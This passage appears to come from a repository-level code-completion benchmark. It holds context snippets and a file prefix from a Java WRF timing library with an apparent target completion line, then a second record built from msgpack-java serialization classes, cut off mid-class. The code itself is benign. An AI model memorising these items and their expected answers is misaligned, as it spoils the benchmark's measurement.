{\n\t\t\tScopedMap.this.clear();\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic final Iterator<Object> iterator() {\n\t\t\treturn new WrappedIterator<>(entrySet().iterator(), valuesConverter);\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic final boolean contains(Object o) {\n\t\t\treturn containsValue(o);\n\t\t}\n\t}\n\t\n\t@Override\n\tpublic Collection<Object> values() {\n\t\treturn values == null ? values = new ValuesCollection() : values;\n\t}\n}", "public class ScopedTimingComponentList<E extends TimingComponent> implements TimingComponent, List<E> {\n\tprivate final List<E> backing;\n\tprivate final Scope parent;\n\t\n\t/**\n\t * Initializes a new {@link ScopedTimingComponentList} wrapper around an existing {@link List} of {@link TimingComponent} instances.\n\t * \n\t * @param backing\n\t * the {@link List} of {@link TimingComponent} instances\n\t * @param parent\n\t * the parent {@link Scope}\n\t */\n\tpublic ScopedTimingComponentList(List<E> backing, Scope parent) {\n\t\tthis.backing = backing;\n\t\tthis.parent = parent;\n\t}\n\t\n\t@Override\n\tpublic Scope getParent() {\n\t\treturn parent;\n\t}\n\t\n\t@Override\n\tpublic Object getValueByName(String name) throws InvalidVariableAccessException {\n\t\ttry {\n\t\t\treturn get(Integer.parseInt(name));\n\t\t}\n\t\tcatch (NumberFormatException e) {\n\t\t\treturn get(0).getValueByName(name);\n\t\t}\n\t}\n\t\n\t@Override\n\tpublic boolean hasValueByName(String name) {\n\t\tif (size() == 0)\n\t\t\treturn false;\n\t\ttry {\n\t\t\tint index = Integer.parseInt(name);\n\t\t\treturn 0 <= index && index < size(); //Returns true iff index is a valid index into this List\n\t\t}\n\t\tcatch (NumberFormatException e) {\n\t\t\treturn get(0).hasValueByName(name);\n\t\t}\n\t}\n\t\n\t@Override\n\tpublic Calendar apply(Calendar base) {\n\t\treturn apply(base, false);\n\t}\n\t\n\t@Override\n\tpublic Calendar apply(Calendar base, boolean inPlace) {\n\t\tCalendar out = inPlace ? base : (Calendar) base.clone();\n\t\tfor (TimingComponent component : this) //We don't want to make a bunch of clones of the Calendar if we don't have to\n\t\t\tout = component.apply(out, true);\n\t\treturn out;\n\t}\n\t\n\t/**\n\t * @return the {@link ScopedTimingComponentList ScopedComponentList's} backing {@link List}\n\t */\n\tprotected List<E> getBacking() {\n\t\treturn backing;\n\t}\n\t\n\t@Override\n\tpublic int size() {\n\t\treturn backing.size();\n\t}\n\t\n\t@Override\n\tpublic boolean isEmpty() {\n\t\treturn backing.isEmpty();\n\t}\n\t\n\t@Override\n\tpublic boolean contains(Object o) {\n\t\treturn backing.contains(o);\n\t}\n\t\n\t@Override\n\tpublic Iterator<E> iterator() {\n\t\treturn backing.iterator();\n\t}\n\t\n\t@Override\n\tpublic Object[] toArray() {\n\t\treturn backing.toArray();\n\t}\n\t\n\t@Override\n\tpublic <T> T[] toArray(T[] a) {\n\t\treturn backing.toArray(a);\n\t}\n\t\n\t@Override\n\tpublic boolean add(E e) {\n\t\treturn backing.add(e);\n\t}\n\t\n\t@Override\n\tpublic boolean remove(Object o) {\n\t\treturn backing.remove(o);\n\t}\n\t\n\t@Override\n\tpublic boolean containsAll(Collection<?> c) {\n\t\treturn backing.containsAll(c);\n\t}\n\t\n\t@Override\n\tpublic boolean addAll(Collection<? extends E> c) {\n\t\treturn backing.addAll(c);\n\t}\n\t\n\t@Override\n\tpublic boolean addAll(int index, Collection<? extends E> c) {\n\t\treturn backing.addAll(index, c);\n\t}\n\t\n\t@Override\n\tpublic boolean removeAll(Collection<?> c) {\n\t\treturn backing.removeAll(c);\n\t}\n\t\n\t@Override\n\tpublic boolean retainAll(Collection<?> c) {\n\t\treturn backing.retainAll(c);\n\t}\n\t\n\t@Override\n\tpublic void clear() {\n\t\tbacking.clear();\n\t}\n\t\n\t@Override\n\tpublic E get(int index) {\n\t\treturn backing.get(index);\n\t}\n\t\n\t@Override\n\tpublic E set(int index, E element) {\n\t\treturn backing.set(index, element);\n\t}\n\t\n\t@Override\n\tpublic void add(int index, E element) {\n\t\tbacking.add(index, element);\n\t}\n\t\n\t@Override\n\tpublic E remove(int index) {\n\t\treturn backing.remove(index);\n\t}\n\t\n\t@Override\n\tpublic int indexOf(Object o) {\n\t\treturn backing.indexOf(o);\n\t}\n\t\n\t@Override\n\tpublic int lastIndexOf(Object o) {\n\t\treturn backing.lastIndexOf(o);\n\t}\n\t\n\t@Override\n\tpublic ListIterator<E> listIterator() {\n\t\treturn backing.listIterator();\n\t}\n\t\n\t@Override\n\tpublic ListIterator<E> listIterator(int index) {\n\t\treturn backing.listIterator(index);\n\t}\n\t\n\t@Override\n\tpublic List<E> subList(int fromIndex, int toIndex) {\n\t\treturn new ScopedTimingComponentList<>(backing.subList(fromIndex, toIndex), getParent());\n\t}\n}" ]
import java.util.ArrayList; import java.util.List; import toberumono.wrf.WRFRunnerComponentFactory; import toberumono.wrf.scope.Scope; import toberumono.wrf.scope.ScopedList; import toberumono.wrf.scope.ScopedMap; import toberumono.wrf.timing.ScopedTimingComponentList;
package toberumono.wrf.timing.round; /** * An implementation of {@link Round} that wraps a {@link List} of individual {@link Round} implementations (which can be of type {@link ListRound}) * and applies them iteratively. * * @author Toberumono */ public class ListRound extends ScopedTimingComponentList<Round> implements Round { /** * Initializes a new {@link ListRound} wrapper around an existing {@link List} of {@link Round} instances. * * @param backing * the {@link List} of {@link Round} instances * @param parent * the parent {@link Scope} */ public ListRound(List<Round> backing, Scope parent) { super(backing, parent); } /** * Initializes a new {@link ListRound} wrapper around a {@link List} of {@link Round} instances derived from the "items" field of the provided * {@link ScopedMap}. This is for compatibility with {@link WRFRunnerComponentFactory}. * * @param parameters * a {@link ScopedMap} with "items" mapping to a {@link ScopedList} * @param parent * the parent {@link Scope} */ public ListRound(ScopedMap parameters, Scope parent) {
this((ScopedList) parameters.get("items"), parent);
2
msgpack/msgpack-java
msgpack-core/src/test/java/org/msgpack/core/example/MessagePackExample.java
[ "public class MessagePack\n{\n /**\n * @exclude\n * Applications should use java.nio.charset.StandardCharsets.UTF_8 instead since Java 7.\n */\n public static final Charset UTF8 = Charset.forName(\"UTF-8\");\n\n /**\n * Configuration of a {@link MessagePacker} used by {@link #newDefaultPacker(MessageBufferOutput)} and {@link #newDefaultBufferPacker()} methods.\n */\n public static final PackerConfig DEFAULT_PACKER_CONFIG = new PackerConfig();\n\n /**\n * Configuration of a {@link MessageUnpacker} used by {@link #newDefaultUnpacker(MessageBufferInput)} methods.\n */\n public static final UnpackerConfig DEFAULT_UNPACKER_CONFIG = new UnpackerConfig();\n\n /**\n * The prefix code set of MessagePack format. See also https://github.com/msgpack/msgpack/blob/master/spec.md for details.\n */\n public static final class Code\n {\n public static final boolean isFixInt(byte b)\n {\n int v = b & 0xFF;\n return v <= 0x7f || v >= 0xe0;\n }\n\n public static final boolean isPosFixInt(byte b)\n {\n return (b & POSFIXINT_MASK) == 0;\n }\n\n public static final boolean isNegFixInt(byte b)\n {\n return (b & NEGFIXINT_PREFIX) == NEGFIXINT_PREFIX;\n }\n\n public static final boolean isFixStr(byte b)\n {\n return (b & (byte) 0xe0) == Code.FIXSTR_PREFIX;\n }\n\n public static final boolean isFixedArray(byte b)\n {\n return (b & (byte) 0xf0) == Code.FIXARRAY_PREFIX;\n }\n\n public static final boolean isFixedMap(byte b)\n {\n return (b & (byte) 0xf0) == Code.FIXMAP_PREFIX;\n }\n\n public static final boolean isFixedRaw(byte b)\n {\n return (b & (byte) 0xe0) == Code.FIXSTR_PREFIX;\n }\n\n public static final byte POSFIXINT_MASK = (byte) 0x80;\n\n public static final byte FIXMAP_PREFIX = (byte) 0x80;\n public static final byte FIXARRAY_PREFIX = (byte) 0x90;\n public static final byte FIXSTR_PREFIX = (byte) 0xa0;\n\n public static final byte NIL = (byte) 0xc0;\n public static final byte NEVER_USED = (byte) 0xc1;\n public static final byte FALSE = (byte) 0xc2;\n public static final byte TRUE = (byte) 0xc3;\n public static final byte BIN8 = (byte) 0xc4;\n public static final byte BIN16 = (byte) 0xc5;\n public static final byte BIN32 = (byte) 0xc6;\n public static final byte EXT8 = (byte) 0xc7;\n public static final byte EXT16 = (byte) 0xc8;\n public static final byte EXT32 = (byte) 0xc9;\n public static final byte FLOAT32 = (byte) 0xca;\n public static final byte FLOAT64 = (byte) 0xcb;\n public static final byte UINT8 = (byte) 0xcc;\n public static final byte UINT16 = (byte) 0xcd;\n public static final byte UINT32 = (byte) 0xce;\n public static final byte UINT64 = (byte) 0xcf;\n\n public static final byte INT8 = (byte) 0xd0;\n public static final byte INT16 = (byte) 0xd1;\n public static final byte INT32 = (byte) 0xd2;\n public static final byte INT64 = (byte) 0xd3;\n\n public static final byte FIXEXT1 = (byte) 0xd4;\n public static final byte FIXEXT2 = (byte) 0xd5;\n public static final byte FIXEXT4 = (byte) 0xd6;\n public static final byte FIXEXT8 = (byte) 0xd7;\n public static final byte FIXEXT16 = (byte) 0xd8;\n\n public static final byte STR8 = (byte) 0xd9;\n public static final byte STR16 = (byte) 0xda;\n public static final byte STR32 = (byte) 0xdb;\n\n public static final byte ARRAY16 = (byte) 0xdc;\n public static final byte ARRAY32 = (byte) 0xdd;\n\n public static final byte MAP16 = (byte) 0xde;\n public static final byte MAP32 = (byte) 0xdf;\n\n public static final byte NEGFIXINT_PREFIX = (byte) 0xe0;\n\n public static final byte EXT_TIMESTAMP = (byte) -1;\n }\n\n private MessagePack()\n {\n // Prohibit instantiation of this class\n }\n\n /**\n * Creates a packer that serializes objects into the specified output.\n * <p>\n * {@link org.msgpack.core.buffer.MessageBufferOutput} is an interface that lets applications customize memory\n * allocation of internal buffer of {@link MessagePacker}. You may prefer {@link #newDefaultBufferPacker()},\n * {@link #newDefaultPacker(OutputStream)}, or {@link #newDefaultPacker(WritableByteChannel)} methods instead.\n * <p>\n * This method is equivalent to <code>DEFAULT_PACKER_CONFIG.newPacker(out)</code>.\n *\n * @param out A MessageBufferOutput that allocates buffer chunks and receives the buffer chunks with packed data filled in them\n * @return A new MessagePacker instance\n */\n public static MessagePacker newDefaultPacker(MessageBufferOutput out)\n {\n return DEFAULT_PACKER_CONFIG.newPacker(out);\n }\n\n /**\n * Creates a packer that serializes objects into the specified output stream.\n * <p>\n * Note that you don't have to wrap OutputStream in BufferedOutputStream because MessagePacker has buffering\n * internally.\n * <p>\n * This method is equivalent to <code>DEFAULT_PACKER_CONFIG.newPacker(out)</code>.\n *\n * @param out The output stream that receives sequence of bytes\n * @return A new MessagePacker instance\n */\n public static MessagePacker newDefaultPacker(OutputStream out)\n {\n return DEFAULT_PACKER_CONFIG.newPacker(out);\n }\n\n /**\n * Creates a packer that serializes objects into the specified writable channel.\n * <p>\n * This method is equivalent to <code>DEFAULT_PACKER_CONFIG.newPacker(channel)</code>.\n *\n * @param channel The output channel that receives sequence of bytes\n * @return A new MessagePacker instance\n */\n public static MessagePacker newDefaultPacker(WritableByteChannel channel)\n {\n return DEFAULT_PACKER_CONFIG.newPacker(channel);\n }\n\n /**\n * Creates a packer that serializes objects into byte arrays.\n * <p>\n * This method provides an optimized implementation of <code>newDefaultBufferPacker(new ByteArrayOutputStream())</code>.\n *\n * This method is equivalent to <code>DEFAULT_PACKER_CONFIG.newBufferPacker()</code>.\n *\n * @return A new MessageBufferPacker instance\n */\n public static MessageBufferPacker newDefaultBufferPacker()\n {\n return DEFAULT_PACKER_CONFIG.newBufferPacker();\n }\n\n /**\n * Creates an unpacker that deserializes objects from a specified input.\n * <p>\n * {@link org.msgpack.core.buffer.MessageBufferInput} is an interface that lets applications customize memory\n * allocation of internal buffer of {@link MessageUnpacker}. You may prefer\n * {@link #newDefaultUnpacker(InputStream)}, {@link #newDefaultUnpacker(ReadableByteChannel)},\n * {@link #newDefaultUnpacker(byte[], int, int)}, or {@link #newDefaultUnpacker(ByteBuffer)} methods instead.\n * <p>\n * This method is equivalent to <code>DEFAULT_UNPACKER_CONFIG.newDefaultUnpacker(in)</code>.\n *\n * @param in The input stream that provides sequence of buffer chunks and optionally reuses them when MessageUnpacker consumed one completely\n * @return A new MessageUnpacker instance\n */\n public static MessageUnpacker newDefaultUnpacker(MessageBufferInput in)\n {\n return DEFAULT_UNPACKER_CONFIG.newUnpacker(in);\n }\n\n /**\n * Creates an unpacker that deserializes objects from a specified input stream.\n * <p>\n * Note that you don't have to wrap InputStream in BufferedInputStream because MessageUnpacker has buffering\n * internally.\n * <p>\n * This method is equivalent to <code>DEFAULT_UNPACKER_CONFIG.newDefaultUnpacker(in)</code>.\n *\n * @param in The input stream that provides sequence of bytes\n * @return A new MessageUnpacker instance\n */\n public static MessageUnpacker newDefaultUnpacker(InputStream in)\n {\n return DEFAULT_UNPACKER_CONFIG.newUnpacker(in);\n }\n\n /**\n * Creates an unpacker that deserializes objects from a specified readable channel.\n * <p>\n * This method is equivalent to <code>DEFAULT_UNPACKER_CONFIG.newDefaultUnpacker(in)</code>.\n *\n * @param channel The input channel that provides sequence of bytes\n * @return A new MessageUnpacker instance\n */\n public static MessageUnpacker newDefaultUnpacker(ReadableByteChannel channel)\n {\n return DEFAULT_UNPACKER_CONFIG.newUnpacker(channel);\n }\n\n /**\n * Creates an unpacker that deserializes objects from a specified byte array.\n * <p>\n * This method provides an optimized implementation of <code>newDefaultUnpacker(new ByteArrayInputStream(contents))</code>.\n * <p>\n * This method is equivalent to <code>DEFAULT_UNPACKER_CONFIG.newDefaultUnpacker(contents)</code>.\n *\n * @param contents The byte array that contains packed objects in MessagePack format\n * @return A new MessageUnpacker instance that will never throw IOException\n */\n public static MessageUnpacker newDefaultUnpacker(byte[] contents)\n {\n return DEFAULT_UNPACKER_CONFIG.newUnpacker(contents);\n }\n\n /**\n * Creates an unpacker that deserializes objects from subarray of a specified byte array.\n * <p>\n * This method provides an optimized implementation of <code>newDefaultUnpacker(new ByteArrayInputStream(contents, offset, length))</code>.\n * <p>\n * This method is equivalent to <code>DEFAULT_UNPACKER_CONFIG.newDefaultUnpacker(contents)</code>.\n *\n * @param contents The byte array that contains packed objects\n * @param offset The index of the first byte\n * @param length The number of bytes\n * @return A new MessageUnpacker instance that will never throw IOException\n */\n public static MessageUnpacker newDefaultUnpacker(byte[] contents, int offset, int length)\n {\n return DEFAULT_UNPACKER_CONFIG.newUnpacker(contents, offset, length);\n }\n\n /**\n * Creates an unpacker that deserializes objects from a specified ByteBuffer.\n * <p>\n * Note that the returned unpacker reads data from the current position of the ByteBuffer until its limit.\n * However, its position does not change when unpacker reads data. You may use\n * {@link MessageUnpacker#getTotalReadBytes()} to get actual amount of bytes used in ByteBuffer.\n * <p>\n * This method supports both non-direct buffer and direct buffer.\n *\n * @param contents The byte buffer that contains packed objects\n * @return A new MessageUnpacker instance that will never throw IOException\n */\n public static MessageUnpacker newDefaultUnpacker(ByteBuffer contents)\n {\n return DEFAULT_UNPACKER_CONFIG.newUnpacker(contents);\n }\n\n /**\n * MessagePacker configuration.\n */\n public static class PackerConfig\n implements Cloneable\n {\n private int smallStringOptimizationThreshold = 512;\n\n private int bufferFlushThreshold = 8192;\n\n private int bufferSize = 8192;\n\n private boolean str8FormatSupport = true;\n\n public PackerConfig()\n {\n }\n\n private PackerConfig(PackerConfig copy)\n {\n this.smallStringOptimizationThreshold = copy.smallStringOptimizationThreshold;\n this.bufferFlushThreshold = copy.bufferFlushThreshold;\n this.bufferSize = copy.bufferSize;\n this.str8FormatSupport = copy.str8FormatSupport;\n }\n\n @Override\n public PackerConfig clone()\n {\n return new PackerConfig(this);\n }\n\n @Override\n public int hashCode()\n {\n int result = smallStringOptimizationThreshold;\n result = 31 * result + bufferFlushThreshold;\n result = 31 * result + bufferSize;\n result = 31 * result + (str8FormatSupport ? 1 : 0);\n return result;\n }\n\n @Override\n public boolean equals(Object obj)\n {\n if (!(obj instanceof PackerConfig)) {\n return false;\n }\n PackerConfig o = (PackerConfig) obj;\n return this.smallStringOptimizationThreshold == o.smallStringOptimizationThreshold\n && this.bufferFlushThreshold == o.bufferFlushThreshold\n && this.bufferSize == o.bufferSize\n && this.str8FormatSupport == o.str8FormatSupport;\n }\n\n /**\n * Creates a packer that serializes objects into the specified output.\n * <p>\n * {@link org.msgpack.core.buffer.MessageBufferOutput} is an interface that lets applications customize memory\n * allocation of internal buffer of {@link MessagePacker}.\n *\n * @param out A MessageBufferOutput that allocates buffer chunks and receives the buffer chunks with packed data filled in them\n * @return A new MessagePacker instance\n */\n public MessagePacker newPacker(MessageBufferOutput out)\n {\n return new MessagePacker(out, this);\n }\n\n /**\n * Creates a packer that serializes objects into the specified output stream.\n * <p>\n * Note that you don't have to wrap OutputStream in BufferedOutputStream because MessagePacker has buffering\n * internally.\n *\n * @param out The output stream that receives sequence of bytes\n * @return A new MessagePacker instance\n */\n public MessagePacker newPacker(OutputStream out)\n {\n return newPacker(new OutputStreamBufferOutput(out, bufferSize));\n }\n\n /**\n * Creates a packer that serializes objects into the specified writable channel.\n *\n * @param channel The output channel that receives sequence of bytes\n * @return A new MessagePacker instance\n */\n public MessagePacker newPacker(WritableByteChannel channel)\n {\n return newPacker(new ChannelBufferOutput(channel, bufferSize));\n }\n\n /**\n * Creates a packer that serializes objects into byte arrays.\n * <p>\n * This method provides an optimized implementation of <code>newDefaultBufferPacker(new ByteArrayOutputStream())</code>.\n *\n * @return A new MessageBufferPacker instance\n */\n public MessageBufferPacker newBufferPacker()\n {\n return new MessageBufferPacker(this);\n }\n\n /**\n * Use String.getBytes() for converting Java Strings that are shorter than this threshold.\n * Note that this parameter is subject to change.\n */\n public PackerConfig withSmallStringOptimizationThreshold(int length)\n {\n PackerConfig copy = clone();\n copy.smallStringOptimizationThreshold = length;\n return copy;\n }\n\n public int getSmallStringOptimizationThreshold()\n {\n return smallStringOptimizationThreshold;\n }\n\n /**\n * When the next payload size exceeds this threshold, MessagePacker will call\n * {@link org.msgpack.core.buffer.MessageBufferOutput#flush()} before writing more data (default: 8192).\n */\n public PackerConfig withBufferFlushThreshold(int bytes)\n {\n PackerConfig copy = clone();\n copy.bufferFlushThreshold = bytes;\n return copy;\n }\n\n public int getBufferFlushThreshold()\n {\n return bufferFlushThreshold;\n }\n\n /**\n * When a packer is created with {@link #newPacker(OutputStream)} or {@link #newPacker(WritableByteChannel)}, the stream will be\n * buffered with this size of buffer (default: 8192).\n */\n public PackerConfig withBufferSize(int bytes)\n {\n PackerConfig copy = clone();\n copy.bufferSize = bytes;\n return copy;\n }\n\n public int getBufferSize()\n {\n return bufferSize;\n }\n\n /**\n * Disable str8 format when needed backward compatibility between\n * different msgpack serializer versions.\n * default true (str8 supported enabled)\n */\n public PackerConfig withStr8FormatSupport(boolean str8FormatSupport)\n {\n PackerConfig copy = clone();\n copy.str8FormatSupport = str8FormatSupport;\n return copy;\n }\n\n public boolean isStr8FormatSupport()\n {\n return str8FormatSupport;\n }\n }\n\n /**\n * MessageUnpacker configuration.\n */\n public static class UnpackerConfig\n implements Cloneable\n {\n private boolean allowReadingStringAsBinary = true;\n\n private boolean allowReadingBinaryAsString = true;\n\n private CodingErrorAction actionOnMalformedString = CodingErrorAction.REPLACE;\n\n private CodingErrorAction actionOnUnmappableString = CodingErrorAction.REPLACE;\n\n private int stringSizeLimit = Integer.MAX_VALUE;\n\n private int bufferSize = 8192;\n\n private int stringDecoderBufferSize = 8192;\n\n public UnpackerConfig()\n {\n }\n\n private UnpackerConfig(UnpackerConfig copy)\n {\n this.allowReadingStringAsBinary = copy.allowReadingStringAsBinary;\n this.allowReadingBinaryAsString = copy.allowReadingBinaryAsString;\n this.actionOnMalformedString = copy.actionOnMalformedString;\n this.actionOnUnmappableString = copy.actionOnUnmappableString;\n this.stringSizeLimit = copy.stringSizeLimit;\n this.bufferSize = copy.bufferSize;\n }\n\n @Override\n public UnpackerConfig clone()\n {\n return new UnpackerConfig(this);\n }\n\n @Override\n public int hashCode()\n {\n int result = (allowReadingStringAsBinary ? 1 : 0);\n result = 31 * result + (allowReadingBinaryAsString ? 1 : 0);\n result = 31 * result + (actionOnMalformedString != null ? actionOnMalformedString.hashCode() : 0);\n result = 31 * result + (actionOnUnmappableString != null ? actionOnUnmappableString.hashCode() : 0);\n result = 31 * result + stringSizeLimit;\n result = 31 * result + bufferSize;\n result = 31 * result + stringDecoderBufferSize;\n return result;\n }\n\n @Override\n public boolean equals(Object obj)\n {\n if (!(obj instanceof UnpackerConfig)) {\n return false;\n }\n UnpackerConfig o = (UnpackerConfig) obj;\n return this.allowReadingStringAsBinary == o.allowReadingStringAsBinary\n && this.allowReadingBinaryAsString == o.allowReadingBinaryAsString\n && this.actionOnMalformedString == o.actionOnMalformedString\n && this.actionOnUnmappableString == o.actionOnUnmappableString\n && this.stringSizeLimit == o.stringSizeLimit\n && this.stringDecoderBufferSize == o.stringDecoderBufferSize\n && this.bufferSize == o.bufferSize;\n }\n\n /**\n * Creates an unpacker that deserializes objects from a specified input.\n * <p>\n * {@link org.msgpack.core.buffer.MessageBufferInput} is an interface that lets applications customize memory\n * allocation of internal buffer of {@link MessageUnpacker}.\n *\n * @param in The input stream that provides sequence of buffer chunks and optionally reuses them when MessageUnpacker consumed one completely\n * @return A new MessageUnpacker instance\n */\n public MessageUnpacker newUnpacker(MessageBufferInput in)\n {\n return new MessageUnpacker(in, this);\n }\n\n /**\n * Creates an unpacker that deserializes objects from a specified input stream.\n * <p>\n * Note that you don't have to wrap InputStream in BufferedInputStream because MessageUnpacker has buffering\n * internally.\n *\n * @param in The input stream that provides sequence of bytes\n * @return A new MessageUnpacker instance\n */\n public MessageUnpacker newUnpacker(InputStream in)\n {\n return newUnpacker(new InputStreamBufferInput(in, bufferSize));\n }\n\n /**\n * Creates an unpacker that deserializes objects from a specified readable channel.\n *\n * @param channel The input channel that provides sequence of bytes\n * @return A new MessageUnpacker instance\n */\n public MessageUnpacker newUnpacker(ReadableByteChannel channel)\n {\n return newUnpacker(new ChannelBufferInput(channel, bufferSize));\n }\n\n /**\n * Creates an unpacker that deserializes objects from a specified byte array.\n * <p>\n * This method provides an optimized implementation of <code>newDefaultUnpacker(new ByteArrayInputStream(contents))</code>.\n *\n * @param contents The byte array that contains packed objects in MessagePack format\n * @return A new MessageUnpacker instance that will never throw IOException\n */\n public MessageUnpacker newUnpacker(byte[] contents)\n {\n return newUnpacker(new ArrayBufferInput(contents));\n }\n\n /**\n * Creates an unpacker that deserializes objects from subarray of a specified byte array.\n * <p>\n * This method provides an optimized implementation of <code>newDefaultUnpacker(new ByteArrayInputStream(contents, offset, length))</code>.\n *\n * @param contents The byte array that contains packed objects\n * @param offset The index of the first byte\n * @param length The number of bytes\n * @return A new MessageUnpacker instance that will never throw IOException\n */\n public MessageUnpacker newUnpacker(byte[] contents, int offset, int length)\n {\n return newUnpacker(new ArrayBufferInput(contents, offset, length));\n }\n\n /**\n * Creates an unpacker that deserializes objects from a specified ByteBuffer.\n * <p>\n * Note that the returned unpacker reads data from the current position of the ByteBuffer until its limit.\n * However, its position does not change when unpacker reads data. You may use\n * {@link MessageUnpacker#getTotalReadBytes()} to get actual amount of bytes used in ByteBuffer.\n *\n * @param contents The byte buffer that contains packed objects\n * @return A new MessageUnpacker instance that will never throw IOException\n */\n public MessageUnpacker newUnpacker(ByteBuffer contents)\n {\n return newUnpacker(new ByteBufferInput(contents));\n }\n\n /**\n * Allows unpackBinaryHeader to read str format family (default: true)\n */\n public UnpackerConfig withAllowReadingStringAsBinary(boolean enable)\n {\n UnpackerConfig copy = clone();\n copy.allowReadingStringAsBinary = enable;\n return copy;\n }\n\n public boolean getAllowReadingStringAsBinary()\n {\n return allowReadingStringAsBinary;\n }\n\n /**\n * Allows unpackString and unpackRawStringHeader and unpackString to read bin format family (default: true)\n */\n public UnpackerConfig withAllowReadingBinaryAsString(boolean enable)\n {\n UnpackerConfig copy = clone();\n copy.allowReadingBinaryAsString = enable;\n return copy;\n }\n\n public boolean getAllowReadingBinaryAsString()\n {\n return allowReadingBinaryAsString;\n }\n\n /**\n * Sets action when encountered a malformed input (default: REPLACE)\n */\n public UnpackerConfig withActionOnMalformedString(CodingErrorAction action)\n {\n UnpackerConfig copy = clone();\n copy.actionOnMalformedString = action;\n return copy;\n }\n\n public CodingErrorAction getActionOnMalformedString()\n {\n return actionOnMalformedString;\n }\n\n /**\n * Sets action when an unmappable character is found (default: REPLACE)\n */\n public UnpackerConfig withActionOnUnmappableString(CodingErrorAction action)\n {\n UnpackerConfig copy = clone();\n copy.actionOnUnmappableString = action;\n return copy;\n }\n\n public CodingErrorAction getActionOnUnmappableString()\n {\n return actionOnUnmappableString;\n }\n\n /**\n * unpackString size limit (default: Integer.MAX_VALUE).\n */\n public UnpackerConfig withStringSizeLimit(int bytes)\n {\n UnpackerConfig copy = clone();\n copy.stringSizeLimit = bytes;\n return copy;\n }\n\n public int getStringSizeLimit()\n {\n return stringSizeLimit;\n }\n\n /**\n *\n */\n public UnpackerConfig withStringDecoderBufferSize(int bytes)\n {\n UnpackerConfig copy = clone();\n copy.stringDecoderBufferSize = bytes;\n return copy;\n }\n\n public int getStringDecoderBufferSize()\n {\n return stringDecoderBufferSize;\n }\n\n /**\n * When a packer is created with newUnpacker(OutputStream) or newUnpacker(WritableByteChannel), the stream will be\n * buffered with this size of buffer (default: 8192).\n */\n public UnpackerConfig withBufferSize(int bytes)\n {\n UnpackerConfig copy = clone();\n copy.bufferSize = bytes;\n return copy;\n }\n\n public int getBufferSize()\n {\n return bufferSize;\n }\n }\n}", "public static class PackerConfig\n implements Cloneable\n{\n private int smallStringOptimizationThreshold = 512;\n\n private int bufferFlushThreshold = 8192;\n\n private int bufferSize = 8192;\n\n private boolean str8FormatSupport = true;\n\n public PackerConfig()\n {\n }\n\n private PackerConfig(PackerConfig copy)\n {\n this.smallStringOptimizationThreshold = copy.smallStringOptimizationThreshold;\n this.bufferFlushThreshold = copy.bufferFlushThreshold;\n this.bufferSize = copy.bufferSize;\n this.str8FormatSupport = copy.str8FormatSupport;\n }\n\n @Override\n public PackerConfig clone()\n {\n return new PackerConfig(this);\n }\n\n @Override\n public int hashCode()\n {\n int result = smallStringOptimizationThreshold;\n result = 31 * result + bufferFlushThreshold;\n result = 31 * result + bufferSize;\n result = 31 * result + (str8FormatSupport ? 1 : 0);\n return result;\n }\n\n @Override\n public boolean equals(Object obj)\n {\n if (!(obj instanceof PackerConfig)) {\n return false;\n }\n PackerConfig o = (PackerConfig) obj;\n return this.smallStringOptimizationThreshold == o.smallStringOptimizationThreshold\n && this.bufferFlushThreshold == o.bufferFlushThreshold\n && this.bufferSize == o.bufferSize\n && this.str8FormatSupport == o.str8FormatSupport;\n }\n\n /**\n * Creates a packer that serializes objects into the specified output.\n * <p>\n * {@link org.msgpack.core.buffer.MessageBufferOutput} is an interface that lets applications customize memory\n * allocation of internal buffer of {@link MessagePacker}.\n *\n * @param out A MessageBufferOutput that allocates buffer chunks and receives the buffer chunks with packed data filled in them\n * @return A new MessagePacker instance\n */\n public MessagePacker newPacker(MessageBufferOutput out)\n {\n return new MessagePacker(out, this);\n }\n\n /**\n * Creates a packer that serializes objects into the specified output stream.\n * <p>\n * Note that you don't have to wrap OutputStream in BufferedOutputStream because MessagePacker has buffering\n * internally.\n *\n * @param out The output stream that receives sequence of bytes\n * @return A new MessagePacker instance\n */\n public MessagePacker newPacker(OutputStream out)\n {\n return newPacker(new OutputStreamBufferOutput(out, bufferSize));\n }\n\n /**\n * Creates a packer that serializes objects into the specified writable channel.\n *\n * @param channel The output channel that receives sequence of bytes\n * @return A new MessagePacker instance\n */\n public MessagePacker newPacker(WritableByteChannel channel)\n {\n return newPacker(new ChannelBufferOutput(channel, bufferSize));\n }\n\n /**\n * Creates a packer that serializes objects into byte arrays.\n * <p>\n * This method provides an optimized implementation of <code>newDefaultBufferPacker(new ByteArrayOutputStream())</code>.\n *\n * @return A new MessageBufferPacker instance\n */\n public MessageBufferPacker newBufferPacker()\n {\n return new MessageBufferPacker(this);\n }\n\n /**\n * Use String.getBytes() for converting Java Strings that are shorter than this threshold.\n * Note that this parameter is subject to change.\n */\n public PackerConfig withSmallStringOptimizationThreshold(int length)\n {\n PackerConfig copy = clone();\n copy.smallStringOptimizationThreshold = length;\n return copy;\n }\n\n public int getSmallStringOptimizationThreshold()\n {\n return smallStringOptimizationThreshold;\n }\n\n /**\n * When the next payload size exceeds this threshold, MessagePacker will call\n * {@link org.msgpack.core.buffer.MessageBufferOutput#flush()} before writing more data (default: 8192).\n */\n public PackerConfig withBufferFlushThreshold(int bytes)\n {\n PackerConfig copy = clone();\n copy.bufferFlushThreshold = bytes;\n return copy;\n }\n\n public int getBufferFlushThreshold()\n {\n return bufferFlushThreshold;\n }\n\n /**\n * When a packer is created with {@link #newPacker(OutputStream)} or {@link #newPacker(WritableByteChannel)}, the stream will be\n * buffered with this size of buffer (default: 8192).\n */\n public PackerConfig withBufferSize(int bytes)\n {\n PackerConfig copy = clone();\n copy.bufferSize = bytes;\n return copy;\n }\n\n public int getBufferSize()\n {\n return bufferSize;\n }\n\n /**\n * Disable str8 format when needed backward compatibility between\n * different msgpack serializer versions.\n * default true (str8 supported enabled)\n */\n public PackerConfig withStr8FormatSupport(boolean str8FormatSupport)\n {\n PackerConfig copy = clone();\n copy.str8FormatSupport = str8FormatSupport;\n return copy;\n }\n\n public boolean isStr8FormatSupport()\n {\n return str8FormatSupport;\n }\n}", "public static class UnpackerConfig\n implements Cloneable\n{\n private boolean allowReadingStringAsBinary = true;\n\n private boolean allowReadingBinaryAsString = true;\n\n private CodingErrorAction actionOnMalformedString = CodingErrorAction.REPLACE;\n\n private CodingErrorAction actionOnUnmappableString = CodingErrorAction.REPLACE;\n\n private int stringSizeLimit = Integer.MAX_VALUE;\n\n private int bufferSize = 8192;\n\n private int stringDecoderBufferSize = 8192;\n\n public UnpackerConfig()\n {\n }\n\n 